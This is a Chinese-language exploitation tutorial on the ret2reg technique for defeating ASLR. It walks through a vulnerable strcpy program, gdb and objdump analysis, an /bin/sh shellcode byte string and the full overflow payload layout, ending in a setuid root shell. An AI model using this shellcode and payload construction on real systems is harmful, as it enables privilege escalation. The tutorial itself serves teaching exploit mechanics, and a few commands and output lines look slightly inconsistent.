前面介绍的攻击方法,EIP注入的地址必须是一个确定地址,否则无法攻击成功,为了与本文介绍的攻击方法形成比对,我将前面的方法称为ret2addr(return-to-address,返回到确定地址执行的攻击方法)。
安全人员为保护免受ret2addr攻击,想到了一个办法,那就是地址混淆技术。该述语英文称为 Address Space Layout Randomization,直译为地址随机化。该技术将栈,堆和动态库空间全部随机化。在32位系统上,随机量在64M范围;而在64位系统,它的随机量在2G范围,因此原来的ret2addr技术无法攻击成功。
很快攻击者想到另一种攻击方法ret2reg,即return-to-register,返回到寄存地址执行 的攻击方法。
它的原理很简单
1) 分析和调试汇编,看溢出函返回时哪个寄存值指向溢出缓冲区空间
2)然后反编译二进制,查找call reg 或者jmp reg指令,将该指令所在的地址注入到 EIP
3)再在reg指向的空间上注入Shellcode
此攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后在的运行过程中不会修改。尽管栈空间具有随机性,但该寄存器的值与缓冲区地址的关系是确定的,在随机地址之上,建立了必然的地址关系。一句话就是 在随机性上找到地址的确定性关系。
编写如下的程序,源文件命名为stack2.c
#include
#include
void evilfunction(char *input) {
char buffer[512];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
evilfunction(argv[1]);
return 0;
}
代码一目了然,有缓冲区溢出问题,不作过多解释。
编译命令如下:
$ gcc -Wall -g -o stack2 stack2.c -z execstack -m32 -fno-stack-protector
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.gs 0x6399
(gdb) disassemble evilfunction
Dump of assembler code for function evilfunction:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: sub $0x218,%esp
0x080483ed <+9>: mov 0x8(%ebp),%eax
0x080483f0 <+12>: mov %eax,0x4(%esp)
0x080483f4 <+16>: lea -0x208(%ebp),%eax
0x080483fa <+22>: mov %eax,(%esp) <-- strcpy的第一参数,buffer保存在eax中
0x080483fd <+25>: call 0x8048300
0x08048402 <+30>: leave
0x08048403 <+31>: ret
End of assembler dump.
发现调用strcpy函数前,eax指向buffer地址;但是eax属于caller-save寄存器,strcpy函数是否会将它改掉呢?我们就以对准EIP生成的core文件,分析一下strcpy函数中是否更改了eax:
生成core是,eax 值为0xfff94ed0,使用x命令查看它是否指向一块内容为AAAA的内存:
(gdb) x/40xw 0xfff94ed0 - 0x10
0xfff94ec0: 0xfff94ed0 0xfff962f8 0xf779353c 0x00000020
0xfff94ed0: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff94ee0: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff94ef0: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff94f00: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff94f10: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff94f20: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff94f30: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff94f40: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff94f50: 0x41414141 0x41414141 0x41414141 0x41414141
果然eax就是buffer缓冲区的地址。
$ objdump -d stack2 | grep *%esp
找到两条 call *%eax指令。
好,就利用0x80483df地址上的call *%eax指令,将\xdf\x83\x04\x08注入到EIP,让函数返回时,执行call *%eax,跳到缓冲区的开始地址去执行;接着我们小心翼翼地址将shellcode放到buffer开始地址即可。
因此注入内容格式如下:
ShellCode(N) + A(524-N) + \xdf\x83\x04\x08
在如何编写本地shellcode 中介绍了打开sh的shellcode,就使用这个shellcode进行测试。该shellcode内容:
\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80
长度为25个字节,即上述注入内容格式中的N为25:
\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80 + Ax499 + \xdf\x83\x04\x08
为了更方法验证攻击功,我们将stack2的owner设置为root,并带S位,让普通用户也能执行。
$ sudo chmod a+s ./stack2
最后时刻:
#
击攻成功,打开新sh,从普通用户权限提升成root.